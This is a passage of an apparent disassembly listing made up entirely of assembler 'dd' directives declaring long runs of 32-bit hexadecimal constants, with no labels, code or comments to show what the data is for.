		dd 89D119FDh, 0A2740821h, 6CC104E8h, 82296132h,	0A13AF481h
		dd 304E2274h, 4713589Dh, 0D3C49A27h, 2800A709h,	84EA669Eh
		dd 54845851h, 75412304h, 9D58EA62h, 27583AA8h, 89D64EAEh
		dd 627513ACh, 0E89D84EBh, 0BE34C13Ah, 6C03784Eh, 4A611ADBh
		dd 3108FB97h, 1CC8182Fh, 4473E631h, 67112399h, 39A4308Eh
		dd 8A0CD02h, 2BCF4735h,	0F4D4F84Bh, 7705EB6Eh, 6E73CC1Ah
		dd 0D5C77F7Ah, 0C24BE545h, 4EE61278h, 0FBFF294Eh, 3206B409h
		dd 0F218DE0Bh, 36A35F82h, 22908511h, 10A64401h,	840E9E45h
		dd 0C42A2791h, 810AA791h, 0A7C889E4h, 713CC26Ch, 0AA6FD125h
		dd 0AF5C5E51h, 0D458204Bh, 9C42E93h, 6E85BA5Dh,	0E7786AE8h
		dd 8A874F3Eh, 476867DDh, 5AEB6221h, 4613D3AEh, 63A0D88Ah
		dd 97FA6DA2h, 155C8255h, 24715B00h, 53EBD8A9h, 0A035028h
		dd 0C1248247h, 8BE50FD5h, 0FF839EBFh, 0BFCDDC9h, 7F19097Eh
		dd 173F3203h, 701C0D1Ah, 0AC8073BAh, 70C64902h,	2BB1D535h
		dd 0DC345EE5h, 0A214AB8h, 433EAC54h, 0E57985A2h, 5C0F6B86h
		dd 0D3AA075Dh, 99479B3Fh, 9A1C1E2Dh, 98178D72h,	0F864108Eh
		dd 81D8F455h, 147EFF83h, 0A1367E2Ah, 4BD71140h,	0F62F8D1Eh
		dd 0C7581960h, 0C1ED4F75h, 61BB383Dh, 6906026Eh, 116A2C58h
		dd 2B9043A7h, 856DA862h, 10136395h, 7634C3F9h, 3BCC4500h
		dd 0BB10A97Bh, 0D712A866h, 0EAD9C2F6h, 0AF72B3FAh, 0BDFF2412h
		dd 0EED63F8Dh, 99CA30A7h, 14BAE77Fh, 7E052C23h,	68A9DCD3h
		dd 3FCB1DF0h, 15504EAAh, 8CF1AD37h, 66E8FE81h, 93200307h
		dd 850F7F92h, 40760ECh,	83A2FA51h, 939BE217h, 970BFF20h
		dd 87EDE95Bh, 0F010D73Fh, 3746A81Fh, 0F245A495h, 12FE029Fh
		dd 0DCC94DCFh, 454DA454h, 0B8322FE2h, 466CA19h,	88A87870h
		dd 282A293Ah, 0DB208650h, 1448E560h, 40A08C7Bh,	90999F94h
		dd 0D7F22201h, 81C55F07h, 0E29F7DD2h, 5A183015h, 71B4F52Eh
		dd 974B8A7Ch, 24316FFAh, 47522A06h, 2981418h, 5F4DD403h
		dd 832595D4h, 3054BC12h, 0F76A575Ah, 0AFAC02F1h, 0E461CE3Bh
		dd 7901BB76h, 0D73A75D9h, 487242B7h, 7FFBFBE7h,	0A9138701h
		dd 0F1EF8EBBh, 3BAC7A08h, 0D8FBDA41h, 0C76F2FB1h, 0F843E4CAh
		dd 0E928E9A9h, 91C7F287h, 0CA7753EFh, 0A6F0E10Fh, 0BA16FF9Ah
		dd 0D0D55E08h, 0A9DF5515h
		dd 0A3F4BD04h, 9044FF0Ch, 9C2F55B4h, 0BF0C1A14h, 4114768Fh
		dd 0B091E2B2h, 3EF91DC0h, 0AEB1AC1Ah, 347514F2h, 89770A41h
		dd 8E2AC7E1h, 50174734h, 88A5E813h, 1A55FFA9h, 0C2B3A2E1h
		dd 0F3AA5A59h, 0D8FE5AE3h, 8F5398B7h, 3565A9ABh, 0C86AEE80h
		dd 0F3EB75BEh, 0E480EE53h, 368DDCCDh, 776DDD24h, 98956795h
		dd 0E55D7C08h, 3145A309h, 310ADB5Dh, 0B69C681Fh, 0B65A82EFh
		dd 0C2FCE36Ah, 0C7423F4Fh, 1E0F341Fh, 57DB4E57h, 0DC3D5CBDh
		dd 14012C5Dh, 755E0C77h, 73CA27B1h, 0CB1E5415h,	0A8226FDh
		dd 5A89EDDFh, 5A8E0854h, 0BE69BFBCh, 0A9ACB034h, 0C40A28AAh
		dd 0D819CAEFh, 0B4AA412Ch, 1FA0CD36h, 704FFC8Bh, 7FB7CF0Ch
		dd 0AE03CE15h, 310BAF80h, 0C0C625E2h, 5CD480B2h, 0E42808FAh
		dd 62958098h, 0C5C6C50h, 3E963AB0h, 57C660D3h, 118B17EDh
		dd 0E948D121h, 93BFB479h, 12AE1E21h, 0FB2CDCAh,	68F299C4h
		dd 4E046BF6h, 58DFCD11h, 4600A0DFh, 0D71999E5h,	4B0D1956h
		dd 53660451h, 889EBA57h, 654F2A84h, 12BE3D5Bh, 11F75472h
		dd 0E43F1540h, 4938EECAh, 1F3F8BA0h, 0F0403E8Ch, 0CAFCEF5Bh
		dd 0FCCC598Dh, 0A9A71C19h, 4694FBA0h, 0B29FFBF7h, 5494840Bh
		dd 0BE929F5Bh, 7A215557h, 129FBA8Fh, 40A75774h,	4B95C574h
		dd 0AA2F3D7Eh, 326097E9h, 0D74ACECEh, 0AD7F9F5Fh, 8AB15DD3h
		dd 368514D2h, 0FC4D02BAh, 0F5D283C4h, 5BB3D44Ah, 772012EAh
		dd 0A1A1D7CFh, 4C0DCE2Bh, 1FD39A10h, 55FE6024h,	2450E36Bh
		dd 19DE2FDFh, 41715A6Ch, 3078B739h, 0DE477579h,	530917EFh
		dd 42501178h, 0FDFCAB23h, 8C451FCAh, 9F977289h,	10775B90h
		dd 940D5933h, 5D6D8A72h, 2B479C2Fh, 0AFE8D411h,	0D9D715D4h
		dd 57C1EA50h, 3A820BE5h, 0E1A7EB8Dh, 8EDA85EEh,	0BE035EF7h
		dd 29559517h, 82F5F088h, 0B248F03Ah, 72054C6Eh,	65157302h
		dd 39140CF6h, 59797C22h, 0AEEC035Ch, 0B280200Ch, 8CE37F36h
		dd 6251Bh, 0C3314D0Dh, 97526616h, 0CA9C22FBh, 0B1DBF63Bh
		dd 0F17B982Bh, 86D4582Bh, 0B07E5900h, 9DB4CC77h, 70553689h
		dd 0B61E15DBh, 0F878DDECh, 920583C0h, 7E70AA44h, 0B3D4C9E8h
		dd 29BA04CBh, 661CC862h, 33C5B57Bh, 0ABEF6979h,	0AD33E347h
		dd 0D3F6D157h, 0D86A4F31h, 0F84A31B5h, 0ED33B5EEh, 134A1EBh
		dd 2BF01FFAh, 0F84FAB0Dh, 78266B21h, 3504B3AEh,	7A7CAB10h
		dd 30D9201Ah, 3225FFF3h, 33E4E185h, 0A1C02D9h, 0E518CE69h
		dd 213FCA29h, 196FC540h, 0C228F348h, 8D8A8A86h,	0C7C2ABB1h
		dd 0BEEA06CBh, 0C6C81580h, 0C230D7B8h, 0CBB00E41h, 0EB29960Eh
		dd 2EAD010Dh, 0E1A45055h, 1F862003h, 32030632h,	8AEE577Ah
		dd 198A4690h, 0DF6CCFE3h, 488EA2EAh, 49E4C4EDh,	55EF1619h
		dd 0A6E22861h, 5F5D1D89h, 98621F6Fh, 7C6D634Fh,	17F78BACh
		dd 0AFA7C4A5h, 88CFE42Ch, 0FB5A94D7h, 18DEAE60h, 958C495Fh
		dd 320B1463h, 185D161Bh, 2A312CDEh, 91C3E605h, 82E39A2Eh
		dd 3163D6Ah, 0B4DD4943h, 7D0CA22Bh, 327262AAh, 32B82037h
		dd 229E5C6Eh, 551FE483h, 0B61495A9h, 0EF8FB558h, 99EA2F99h
		dd 851FB091h, 4A69250h,	41FCCD84h, 9AA981BDh, 11576481h
		dd 8C397DC4h, 8749D8FCh, 786B0605h, 0F240C602h,	41031056h
		dd 0FF528338h, 668D3C6h, 49E42CC0h, 0B8903D76h,	6E1F0574h
		dd 4CFA2BACh, 0C68B787h, 0A3124EE3h, 1BF8DC2h, 465232CAh
		dd 0B886832Bh, 975C452Ah, 0A71811D3h, 0ED9E08C4h, 24CABB34h
		dd 819003B1h, 8EDA08DEh, 86A2C974h, 40B5A1B5h, 69710798h
		dd 69C8D130h, 0F0576D31h, 0FD44A843h, 0D4349FF7h, 0E9BE2255h
		dd 285A2281h, 4C1BF494h, 91ACB128h, 0DA289E83h,	83595743h
		dd 4353E7EDh, 11254B28h, 8CEA4D37h, 0B5116633h,	93E23693h
		dd 1782973h, 8950EABBh,	0A852298Ah, 4CC7701Fh, 6501AB49h
		dd 2220199Eh, 1BE9AB76h, 7D720358h, 840D456Dh, 6692E8B5h
		dd 0ABD01959h, 6D53A651h, 44CA1835h, 40EF9501h,	64982771h
		dd 0D72612Bh, 0C5997D97h, 99E3C1B2h, 0BF033D3Eh, 632F3AC9h
		dd 0ED31AD93h, 805E064Ch, 36124B06h, 0C9DA6DD9h, 8116AA0h
		dd 27C21A59h, 4D5EBE3Bh, 0DC813402h, 400A3177h,	0E513DC4Ch
		dd 8ECAB03Fh, 4E9BD5CBh, 0E6AC355Ah, 0FA734893h, 0D221177Fh
		dd 34A42754h, 0FCA22D46h, 0EE065A64h, 0CA5E9CC2h, 120CD6BCh
		dd 37529620h, 7329A120h, 2818F03Eh, 1236189Bh, 0CA18F718h
		dd 8619001Ah, 4B980B1Ah, 0AB46A91Dh, 1634FE50h,	116AADB1h
		dd 25D29420h, 0BB172038h, 64ABE0Bh, 0A7FCE656h,	751A03C7h
		dd 9D9D3F1Ch, 59992DF8h, 705FBA5Eh, 4D618FA1h, 0B332DA12h
		dd 0B35D088Ch, 24E50508h, 1617EBA4h, 0ACD3D728h, 5085FEA7h
		dd 0B87C8496h, 0DB5801EBh, 0CDE348Ch, 7AE61334h, 4DCA26C9h
		dd 33850293h, 7385544Dh, 48688BDDh, 0E75E260Ch,	6AC46346h
		dd 43EF5381h, 0B35BBE05h, 0C285370Ah, 0C590A5A6h, 10BE81FCh
		dd 21285AF0h, 5E7389A5h, 0BA4E92B7h, 0A802A38Bh, 0C04EB229h
		dd 95347D9Ch, 0D1C4234Bh, 0BE525BA1h, 284C5A60h, 0B67FA81Bh
		dd 6E5DC57Eh, 0A4601AB6h, 0E68BD9AEh, 7E250E5Dh, 0A3D44691h
		dd 6AA108CDh, 2517BB0Ah, 1A172814h, 0B8BAE64Dh,	7F6D79A2h
		dd 0D94CDAB4h, 62686CBAh, 6CC17A5Fh, 85F82FE6h,	0E5D261h
		dd 81ACE6A3h, 7A28EB88h, 9AF9131Ah, 28C10CA0h, 8D98B040h
		dd 0E964D860h, 90E6202Bh, 0F5A4668Ah, 9CD0413Ch, 5A975D49h
		dd 3D099EA6h, 43FC542Ch, 8547454Eh, 0CD003846h,	143C2188h
		dd 56C82890h, 6EDF1407h, 7FADDFFCh, 0EB2E013Fh,	0CCA8D84h
		dd 8972A984h, 785615C4h, 0ED2EF468h, 5C37E62h, 0B02A4E44h
		dd 0A4EC0905h, 3D9F10C7h, 0E130AEA6h, 0A8A5AF72h, 4CFEF9AEh
		dd 0D5DD0DC4h, 2C4EED0h, 5D79F89h, 903CC614h, 0FE04F606h
		dd 0DFEE197Fh, 0A5159802h, 0E431CAD9h, 5D52B308h, 4E2B15B3h
		dd 7D645DD0h, 321D0831h, 1A1BEA2Dh, 0FF91B030h,	86722B3Dh
		dd 18D8BB4Dh, 0A756E90Fh, 77B45D5Eh, 7C7257FBh,	6025A9B2h
		dd 6A3F70EAh, 0D997F5B8h, 942B4860h, 8F5A2177h,	0D30266B1h
		dd 0BD94064Dh, 9E8EAEA7h, 0CB6C2F50h, 0CB74220Ch, 7E1230AFh
		dd 0F5460818h, 919560A8h, 0A3531236h, 9C500432h, 24C4ABD5h
		dd 15975140h, 89C6D754h, 0A2EE0823h, 0B620E58h,	6892C973h
		dd 9BD60CEAh, 0BDCB72EEh, 0AF40E11Eh, 497CA623h, 0B022D148h
		dd 0C3589056h, 9BC3FD99h, 9A2ED266h, 0D1D70B0Ah, 9C1E8E8h
		dd 54A224EDh, 0DF0D32C2h, 495F4AFDh, 0BF772528h, 97C0B832h
		dd 0BD90FA10h, 0D559F0Ch, 7D11879h, 0D5FB008Ah,	4A18F5D1h
		dd 0FDEFDF1Bh, 54DA124Ah, 10453CF1h, 43D2288Dh,	84D3A189h
		dd 0CB1B2F76h, 907A560h, 610904C5h, 0FDA26C0Ah,	1952433Eh
		dd 513E7D8Ch, 0D30638BEh, 0C2889AE8h, 576586BDh, 4BAF2BEDh
		dd 0B9AB28C1h, 0D9C1E0E2h, 60BF47E6h, 0B9ABF4E3h, 43ED6DB3h
		dd 11A79B90h, 56ADF060h, 0BD304400h, 701204Ah, 269642FFh
		dd 5ABE1A78h, 0A500ABA4h, 0D50495BCh, 4AF056Dh,	2FF6AED6h
		dd 472AD704h, 0EC097A02h, 635D095Dh, 5F7E12B8h,	9BAE01A8h
		dd 3A2A0354h, 2BBD8F16h, 0E321700Fh, 452BEDC8h,	9AECFA2h
		dd 9493AAFBh, 9F2A1E65h, 7E17509h, 0F022564Fh, 7E8C8780h
		dd 0E73E7E0Ch, 0BA30133Fh, 0D69403C7h, 2139BEBDh, 7FC4218Dh
		dd 113BC101h, 3D2BD37Dh, 0AA6B9FF7h, 5E51F8D5h,	7C9406A8h
		dd 0BDCFB290h, 751F05CBh
		dd 40FAAAB8h, 8E24F27Ah, 0C76072BEh, 1A3EC7B0h,	6C7DC3E9h
		dd 2D1701D0h, 0C7420B84h, 39DF15B1h, 35FB3D75h,	7C183EEBh
		dd 791AF670h, 0AF9E8096h, 750314A1h, 0F95D9140h, 2B560450h
		dd 27EF0D29h, 8DB1EF15h, 0C69A5D0Ch, 248688F5h,	749F6EB3h
		dd 2C289C85h, 8FCBFF53h, 71A71872h, 745B32A6h, 0D2EDD111h
		dd 68799F08h, 4BAD8E59h, 0C280CFBBh, 36C45E0Ah,	405F647Fh
		dd 0CFF66F81h, 87E872CEh, 4874A916h, 0AF5EA8FCh, 15715A1Fh
		dd 988041Fh, 5DF82Eh, 60FF1BE1h, 0BDA5F2FFh, 362EDE0Bh
		dd 1E53774Ch, 2719D202h, 8B10CCF9h, 0F375368Eh,	4B2B156Eh
		dd 5DD2F726h, 286B8896h, 209D1DB1h, 0B4745341h,	0EDC3F7DDh
		dd 0FD822AEh, 0AA535011h, 0F6016ACAh, 399E34C5h, 0CBA5699h
		dd 0CBBAAAE2h, 5E5C4CEAh, 2D692111h, 0EE79D725h, 0D661105Dh
		dd 5A675002h, 2B0FE7A4h, 64E04BADh, 851A2EE9h, 248FFD86h
		dd 53229A98h, 71B63AE6h, 5D771682h, 0BC0B8F29h,	725681C3h
		dd 210947C3h, 71EE4486h, 59661197h, 7671557h, 0C64DC09Dh
		dd 82E6AF0Fh, 647F5DB4h, 3953A68h, 0AECC0F8Ah, 0C3A2F784h
		dd 95A99E33h, 0DBFDBBB0h, 0BB882A0Ah, 0B53293E4h, 57766682h
		dd 0CA4AF5CDh, 0A1FF16A8h, 78D74F8Bh, 92AF2906h, 0C1352811h
		dd 0B1408BA9h, 0FD15AFCFh, 0C5B2C4AFh, 1E8B636Bh, 36503139h
		dd 0D7B9A850h, 55AA8324h, 0D18AB08Bh, 1D80ED3Dh, 0C4DA8481h
		dd 772193C0h, 0D51228D9h, 9F14F605h, 0C55CF4C5h, 0AD9D068Ch
		dd 0F21DA9AAh, 251052A0h, 46B33D71h, 0C8F2734Dh, 20A62CA1h
		dd 2CDA2B91h, 8F74FDEEh, 278BCC2Ch, 0CB629558h,	0CD1CEF45h
		dd 0BAF8EED5h, 0D6CE1F9Eh, 0DD2D7960h, 0CF5D704Ah, 4CC80DACh
		dd 0C4BAC591h, 765F15C0h, 68C6D597h, 1F6C25D2h,	0E6D59639h
		dd 54AB7576h, 0F5019776h, 343F2ADCh, 2BBB31B9h,	8B712A20h
		dd 25F87A5Dh, 0A60AFD7Dh, 554DE73Bh, 0E322BB4Ah, 275A162Ch
		dd 0E87E1737h, 21514313h, 0A212BD6Bh, 2B2E75EEh, 0D1D98747h
		dd 85ADD42Ch, 6C441C85h, 0CE5002Dh, 0A2DEB824h,	503761AFh
		dd 1DF86629h, 0D0C87488h, 4215DAFEh, 0DA9B1876h, 0FC3C030h
		dd 0ABC7D6FAh, 3828EC83h, 9CE27837h, 2D8B4340h,	0F5A8D00h
		dd 8984DF75h, 957AA416h, 0E32D6D77h, 0DFE9761Dh, 0A9BEFB85h
		dd 5CB89748h, 40231BF8h, 0C88526A4h, 0FA50084Ah, 14ACD688h
		dd 16399BF0h, 6F99FC97h, 101612C1h, 3FF73E9Ah, 2FA6F5D8h
		dd 21977AE6h, 7195CBDAh, 0EBAD79FCh, 54274F39h,	0D5CB2BF0h
		dd 45AA3BC2h, 275E5225h, 7DB76BEAh, 0BEB65F70h,	6448AF5Dh
		dd 40190951h, 851DB1DBh, 0B21644h, 1834B822h, 28CEBE41h
		dd 20A19988h, 0AAA72B22h, 2081BA80h, 0AAF69127h, 6BB37583h
		dd 0E47C7CFFh, 94F12061h, 47F14D32h, 21757705h,	2CB49B04h
		dd 2097AC24h, 2E9E1405h, 8EA158DEh, 7061FA62h, 38B4A39h
		dd 0E393F40h, 0F37D221Dh, 5CFAF2EBh, 153B0126h,	3C486498h
		dd 0FA08049h, 0C822BC54h, 27807CA9h, 0CED55F63h, 268951F4h
		dd 7FE87AE6h, 7DB51184h, 8FB9A7BDh, 82F4DA64h, 23513014h
		dd 964A4A98h, 0AB29F687h, 65D4995Ah, 37178F5Ch,	1A779E4Dh
		dd 0A3CAE122h, 4CF94CACh, 0D1590736h, 0BB4711C5h, 8A1E2CA2h
		dd 14D7E649h, 0A86F5450h, 4AE786FDh, 9D20805h, 19C1F595h
		dd 0E1D7DCBAh, 3D6F4FBh, 6D638DC7h, 7AE57575h, 0B221641Ch
		dd 52801D10h, 44B06480h, 1C6D8950h, 0C6C3225Ch,	5EA2F741h
		dd 5FECD101h, 78E0C21Ch, 7E2BDF8Ah, 0ABF4D130h,	0AE91FE26h
		dd 5A8B9DF2h, 0CE712959h, 202C8BC8h, 0CC0842h, 0A9C22BD7h
		dd 0BEE0DC3h, 0D9E27443h, 7AA70F87h, 0BBEF7D3Eh, 0F1C50ED4h
		dd 0BCEDFC1h, 179C97E0h, 0B310D968h, 257D6701h,	0A95E81F2h
		dd 4BE60A95h, 191F48A4h, 8A84E423h, 6DE38B59h, 30596D7Dh
		dd 7C4F8EA9h, 0B9EABDE5h, 0C3353C13h, 0DF83FA54h, 3AA37C5Fh
		dd 22FAE681h, 7D22094Ah, 0CA2354D9h, 0C3C895A0h, 52F9AB96h
		dd 4AC364ACh, 0D5AD285Fh, 0AA363AA2h, 0FAF388A3h, 7229BEA3h
		dd 0F0F6CDD8h, 1C691855h, 55A5A405h, 9EA67128h,	0CAE117D9h
		dd 95DF02AEh, 7A3856F8h, 8F1A6006h, 55F1FFDBh, 0CAFD8BD8h
		dd 31E989Dh, 0FFC4D212h, 0A7DC0040h, 22BA3D70h,	8180C4B6h
		dd 270F7955h, 1F62AECFh, 0D86FA2FDh, 35CF9680h,	0DF93133h
		dd 61580746h, 0BAC4B87Ch, 284651B4h, 57B9BEE0h,	0C52E8107h
		dd 537A2ECh, 0C540904Ch, 0B523FE51h, 0F87BD142h, 0C693E14Ah
		dd 499095F9h, 53B2EA41h, 8719063Ah, 3E293183h, 37B5548Bh
		dd 0C002CB23h, 218CD72Ah, 0AF32841h, 9A570928h,	1EE964A6h
		dd 1942B197h, 97413501h, 0D66251B4h, 9C80933h, 9BA4AB5Ch
		dd 0E34A3A3Eh, 148AFC7Ah, 67570340h, 31D786C1h,	1F9590B4h
		dd 25BA0A18h, 346D766h,	95CF2307h, 0E0DF499Bh, 499A953Bh
		dd 97BEE7D7h, 0C47CA2ECh, 9A15390h, 525DC2E8h, 0D2CF845h
		dd 0C4570164h, 7AE52B98h, 44446E2h, 0A321E04Bh,	4262932Bh
		dd 75008D47h, 25640A83h, 83121C83h, 39CA9DF0h, 0C0B13E98h
		dd 0A35274Dh, 32916179h, 0DF431176h, 91D55DA2h,	42D7EFD2h
		dd 19036318h, 8BE85F5h,	0CE18EF4Eh, 2B89069Ah, 0BB7D280Ch
		dd 3C575A08h, 0F8368290h, 0CAE9B29Bh, 9B7DFBD8h, 11070285h
		dd 0AE28EC39h, 548DB847h, 62202E30h, 2E006881h,	7148BBA2h
		dd 0ADB045F3h, 0EC3DABEBh, 0ACBE20CAh, 975CC6AEh, 0F7B2F379h
		dd 77597E0Ah, 0E2F8F82Ah, 7874FD87h, 4E82D845h,	58F48A1Ch
		dd 0D9DBFF44h, 0FE55D0C4h, 0C2EE2EFDh, 0D1AE96Bh, 0F5054DE5h
		dd 4124AD2Fh, 0F1B59F48h, 27AF61FBh, 0D5E4FE3Bh, 2FF570BFh
		dd 0B211503Eh, 0C1C47B80h, 0E57B5756h, 15B6A412h, 42291874h
		dd 0AC9259FAh, 4CB99544h, 5F09C528h, 15063015h,	24404308h
		dd 9BFD0205h, 29489E22h, 0FAAB2B65h, 690001CFh,	3629D8C4h
		dd 0BDDE833h, 0A2AF290Ah, 8CE42E36h, 0AF898B41h, 4C11EE14h
		dd 0B606447Ch, 0B6BA9697h, 0EBFD70E6h, 33565341h, 5D3BBDFEh
		dd 80248B62h, 74C471BAh, 0DE976217h, 0FDACCAB9h, 8320CD3Ch
		dd 352A0ABBh, 0CE6A3B33h, 4E1A809Bh, 18BBC8D7h,	98EEBC23h
		dd 0D30D74Dh, 0A45E1D64h, 0D1D4B72h, 2A93C2A8h,	23E07B19h
		dd 0C26FCBD9h, 5C0C9882h, 57A7B10Fh, 62DB1D5h, 0A015A01Eh
		dd 4072127Ah, 89050C4Ah, 1D988094h, 21071180h, 2EB14C82h
		dd 17FD4807h, 0C5D4DE35h, 0BA0301F5h, 22762FA3h, 905491Fh
		dd 0A0324EEBh, 0A61E1810h, 0F66DB82Eh, 0FC462280h, 3E06602Ch
		dd 8740B38Ah, 14C4891Ah, 0BC134A7Dh, 5DF95C01h,	5D80D128h
		dd 0E77C3280h, 0AB97BA5Dh, 0BC31187Bh, 0E5764457h, 0AEDCC35h
		dd 482169A4h, 10500E01h, 245F6982h, 133F78B3h, 77EC7C33h
		dd 0E616FD21h, 96011200h, 0F29A492h, 3777A400h,	60882545h
		dd 76E30555h, 8574D0D6h, 0D822242Fh, 8F0E3D4h, 0CB32CAABh
		dd 0DF64431h, 0D9AC0B54h, 3DD53524h, 0BA5A6A03h, 4D9A21F5h
		dd 0C0DFD054h, 0F76DD159h, 0B5964DFBh, 0C7793F2Eh, 0DD127D20h
		dd 48B89951h, 591A28C0h, 0B1997799h, 2994C3A9h,	0A9B000A8h
		dd 43C33059h, 41415546h, 0D7D05AECh, 41B5418Bh,	0F805FC49h
		dd 8A02A1E7h, 0AB54540Bh, 0C651BAB2h, 0D6765631h, 3953D893h
		dd 0F73825D6h, 0E07F18C6h, 2350CB56h, 0E8AB506Ch, 976C5404h
		dd 196F86F1h, 5431B0CBh, 19EB4ACEh, 1441ADECh, 25038EA8h
		dd 0BEFC03C0h, 0B51C3539h
		dd 0DD502FFDh, 324CA2F2h, 654D3320h, 3C375422h,	9611FF60h
		dd 0E1C4F981h, 107F3A2Bh, 77805C3Eh, 0E15C076Ah, 77FBF15Fh
		dd 5D64A9C5h, 82EF8884h, 53382A40h, 902AA2ACh, 6553FD08h
		dd 0D77EF896h, 0E46E3946h, 0CFAEF438h, 45E68C4Eh, 0F133FDDCh
		dd 0BB6F2757h, 8AC985DFh, 0E5F52A18h, 5D3A8879h, 1C2C00CAh
		dd 8A49C051h, 0CB95A3A0h, 502E6FEDh, 4AEEFADEh,	154F9C2Ch
		dd 0D6D0C6DDh, 42EF2CEBh, 0C0E39452h, 0D7F569D3h, 8EC06568h
		dd 0DC560F00h, 9110C565h, 2E92E7D9h, 0F033AA79h, 0BA378014h
		dd 58CF2A83h, 52A411A0h, 2A2AF716h, 645DDD5Dh, 0B853AC3h
		dd 230F0E7Bh, 29567C6Eh, 0C8AE15B2h, 0AABA55AAh, 77D696E6h
		dd 0DF94CA02h, 0BD8BBACBh, 0C44BEFCAh, 9D5579D5h, 3BEF128Eh
		dd 0F4AFEAB9h, 0AB8330DDh, 2397AF7Ah, 527566C9h, 816C5AA7h
		dd 76C77257h, 7B95A400h, 5F7EA7D1h, 0B343059Dh,	0A29BE25Eh
		dd 0C7CF6D0h, 6A247E48h, 4C4685Fh, 0BA561A3Bh, 0C48BB2C4h
		dd 0B63357D6h, 0B705B7BEh, 6605B255h, 0CA5537F8h, 7105100h
		dd 0CBA4AAEh, 15DEC73Ah, 7109E645h, 0EB8DA010h,	0B0BC6B21h
		dd 96082930h, 4DFED222h, 0F821002Bh, 65BF96E0h,	0E3110560h
		dd 0DDEBF452h, 747F064h, 817D8E01h, 0D8851B0Ch,	11B8A831h
		dd 7FADD21Ah, 0D703932Ah, 9020BFC7h, 14DD014Fh,	1024C2D9h
		dd 5C041A1Ah, 0E9C92E95h, 1363ED90h, 0C5D9F5DAh, 164834B3h
		dd 90AA13BDh, 0C864ED21h, 641EC2D1h, 13951543h,	0F3AEA725h
		dd 0CFDD669Dh, 0DB89B2C2h, 6FF8B278h, 71AEA4B4h, 0B922A9CCh
		dd 88156B9Eh, 0E30DEA7Ch, 5C3D201Ah, 0DB2A5CEFh, 9F715D2Bh
		dd 0CF8CBC7Eh, 5B2BB28Ah, 0BE798DD2h, 647B3ABCh, 757954A3h
		dd 0F2809157h, 0DB9A80B2h, 0F0209CD7h, 50934995h, 21CDE7F3h
		dd 0C274A515h, 0EAF3CF6Fh, 0CD77B8Eh, 0AF7DB9FCh, 3B9C637Ch
		dd 834EC61Bh, 0E9B1673Eh, 650122A6h, 0BF306D7h,	4B1909D2h
		dd 104CDCBAh, 20289491h, 3B5E551Bh, 7AE4E10h, 233A088Eh
		dd 219D8D8Ah, 80CBE1B7h, 27D02B22h, 50815F1h, 0C1EA6B62h
		dd 0DD233E80h, 0F8F33083h, 0A8B0C1F4h, 0BA77A2B8h, 4703BACEh
		dd 0FCED4F9Bh, 0C0A9F80h, 706E04E7h, 14E51B38h,	2142B210h
		dd 0BB32DD21h, 68FA1A8h, 58D84265h, 19BF64Ch, 0DEF53647h
		dd 0F8D1E0D1h, 0B82DF9DAh, 2DAB07F4h, 0C75B1DBBh, 0DDD8387Ch
		dd 3DF4A8C5h, 0BF3EBF44h, 0ABB4022Bh, 0DA20F2BAh, 7FA8D11Dh
		dd 0F8EEA932h, 22053523h, 8A90D105h, 0A872A12h,	0C3510849h
		dd 687F2C7Dh, 9B10877h,	42D5C312h, 463D0AADh, 0DCF1FEB4h
		dd 320BEEEDh, 0D80A6DA0h, 0EDDCBF04h, 0AC32250Eh, 16BE1DDBh
		dd 8039A09Dh, 94424925h, 0C6CD069Dh, 0E19BED2Dh, 24020AE2h
		dd 0D72F3C4Bh, 0D711CEEDh, 0EC2586DCh, 0BB767776h, 292B10EBh
		dd 0D96E5181h, 7FD9F5EDh, 2CD18ABBh, 8B04DDBBh,	0E608C2C9h
		dd 74CD3C0Dh, 0C8A9C844h, 97509510h, 59B6149Ch,	0E6E6641h
		dd 8B33CCA7h, 604DF60Fh, 2A5CD70Bh, 0DBB8B1Bh, 0D55620A5h
		dd 0AC5625ACh, 8BAA350h, 56D35D6Ah, 80CDA1F4h, 5A7C3617h
		dd 2FFD72F9h, 527E9597h, 0FC1B8F2Bh, 643F03A8h,	0D05449E2h
		dd 78800669h, 0FF224D97h, 8F4CBBDh, 0F94B8FE1h,	105C5221h
		dd 0A76A85D2h, 0CC80E44Eh, 0B40DFA7Ah, 0FE2BA7D4h, 16D00FB7h
		dd 68CAB854h, 0FC1C7564h, 5D0BD2B6h, 47FC567Eh,	7CADB94Fh
		dd 0B20213ADh, 45C39786h, 0EE0B245h, 3F50E2C8h,	7C65BAA8h
		dd 406E4C20h, 5FAA53C0h, 90FD9355h, 0CAD444C1h,	0A4B758Eh
		dd 88FD2091h, 418E2042h, 9F938386h, 86402883h, 0F87AAA91h
		dd 0FAA4356Dh, 46C9A45Dh, 0DAC9ECFCh, 39511346h, 9C64B08Dh
		dd 0CD245681h, 9F42BA3Bh, 45F15725h, 3B765DD3h,	2A215FFh
		dd 0E3B941D3h, 0EEECE148h, 786767BEh, 8AF3E779h, 0B2BE8B12h
		dd 1067449h, 0C635C887h, 0B2D434EEh, 0A3424BAAh, 2D22F21Eh
		dd 41221C8Eh, 17779A4Eh, 0B39CE91Dh, 431DD6ACh,	0CB81AE9Ch
		dd 8191F9E2h, 0C97E7506h, 23C312BEh, 4FAC5ED3h,	546075E3h
		dd 36BFB1CBh, 0C26EC6C2h, 216EF771h, 0C577E833h, 4A47FDD7h
		dd 37602C2Ch, 6763EF05h, 810FEB00h, 51CB0676h, 0A29C3D41h
		dd 0ADFB4D37h, 4F03AE29h, 4B82EC63h, 0EAF82740h, 17E3BBE0h
		dd 0A335286Ah, 1CBFEDF6h, 92725AAEh, 19543ED5h,	0D02D035h
		dd 0A0EB50DAh, 3B8F9C71h, 6848D054h, 464A178h, 34C9AA88h
		dd 0D98D1132h, 2A6C914Ah, 56BAAF43h, 3327F4C1h,	694746CFh
		dd 0EB82307Ch, 233FAF04h, 7F371190h, 55A3960Ch,	0CCAD1827h
		dd 99B5662Ch, 3F7F9339h, 9FC14A2Bh, 5BDECE2Fh, 0F699F0C1h
		dd 6F342FB8h, 0D22CEC5Dh, 4DD67672h, 0F75D9BBEh, 0D8665DD1h
		dd 274A2C38h, 0DE57F5DFh, 29737FECh, 0E4FB7C8Ah, 6C068BBBh
		dd 0BBC165D3h, 5D19AFAFh, 0CCE7F3C1h, 2872E280h, 0A71AE0FCh
		dd 64605B62h, 0C2338908h, 0AAA56554h, 1FD538E3h, 0B42D5369h
		dd 0F87673BAh, 0B0BF3978h, 0AC27236Ah, 73D7689Ah, 0AA475492h
		dd 885DE724h, 2FC1B2CFh, 7D050CCFh, 2C194D3Dh, 0AC2080BAh
		dd 0DC64E87Ah, 841D21C8h, 402652BAh, 0BCB37708h, 0D3684C56h
